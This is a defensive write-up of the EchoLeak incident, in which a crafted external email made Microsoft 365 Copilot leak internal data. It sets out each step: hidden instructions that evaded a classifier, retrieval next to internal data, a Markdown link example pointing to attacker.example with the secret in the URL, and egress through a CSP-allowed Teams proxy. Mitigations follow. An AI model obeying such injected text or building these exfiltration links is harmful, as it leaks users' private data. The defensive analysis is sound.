Microsoft "EchoLeak": How One Email Turned Microsoft 365 Copilot into a Zero-Click Data Exfiltration Path
EchoLeak shows how one external email can move from "reference material" to "instructions the model obeys" once Microsoft 365 Copilot retrieves it into the same answer context as internal data. The exploit then hides sensitive data inside a Markdown link or image URL and relies on automatic fetching plus a CSP-allowed Microsoft Teams proxy to send that data out with zero clicks. The defensive lesson is broader than a better classifier: teams need retrieval-time scanning, trust-boundary separation, sink enforcement, and output-layer leak blocking.
Threat Analysis
- Step 1: seed the system with a normal-looking external email. The attacker sends business-style text with hidden instructions. The paper says the wording looked normal enough to evade Microsoft's XPIA classifier.
- Step 2: wait until Copilot retrieves that email next to internal data. Later, a normal user query pulls that email beside internal mail and files. Once mixed into the same prompt context, the email stops being passive data and starts acting like instructions.
- Step 3: hide the secret inside Markdown. Copilot is pushed to emit a reference-style Markdown link or image, such as
[Project update][ref]plus[ref]: https://attacker.example/<secret>. The visible text looks harmless; the hidden URL carries the secret. - Step 4: turn that output into zero-click egress. The chat UI auto-fetches Markdown images. The paper says direct attacker domains were blocked by CSP, so the chain used a CSP-allowed Microsoft Teams preview endpoint to fetch the secret-bearing URL instead.
- Why this matters: no login, attachment, or click was needed. Microsoft says it fixed the issue before disclosure and saw no evidence of in-the-wild exploitation.
Applicable AIDEFEND Defenses (7)
What Defenders Should Do Now
- Inventory every enterprise copilot workflow that can mix external email, chat, or documents with internal files in the same answer context. Flag any workflow that answers sensitive internal questions while still retrieving outside content.
- Add a retrieval-time scan and trust label to external content. Emails and documents from outside the organization should be rescanned when retrieved, then wrapped in a data-only channel or excluded by default from high-sensitivity tasks.
- Block model outputs from introducing arbitrary external URLs, remote images, or long secret-bearing query strings. Run sensitive-data and suspicious-link detection before the answer is rendered or logged.
- Treat preview services, proxy URLs, and browser fetches as data sinks, not as harmless UI features. Audit which domains and proxy paths your copilots are allowed to reach, and remove any path that can forward arbitrary model-generated URLs.
- Turn this incident into a regression test. Use a harmless synthetic email that tries to smuggle a fake secret into a Markdown link or image, and keep testing until the chain fails at more than one layer.
1 additional consideration
Render-surface egress isolation for AI chat UIs
img-src and connect-src; route any allowed media through a first-party signed proxy; and strip model-generated arbitrary external URLs before render.Conclusion
EchoLeak matters because it turns prompt injection into a concrete zero-click exfiltration chain instead of a theoretical chatbot oddity. One email became instructions, one answer became a network request, and internal data moved across trust boundaries without a click. AIDEFEND maps well to the retrieval, prompt-separation, sink-enforcement, and leak-detection layers that could have stopped that chain; the extra design work is making AI chat render surfaces fail closed when model output tries to become outbound traffic.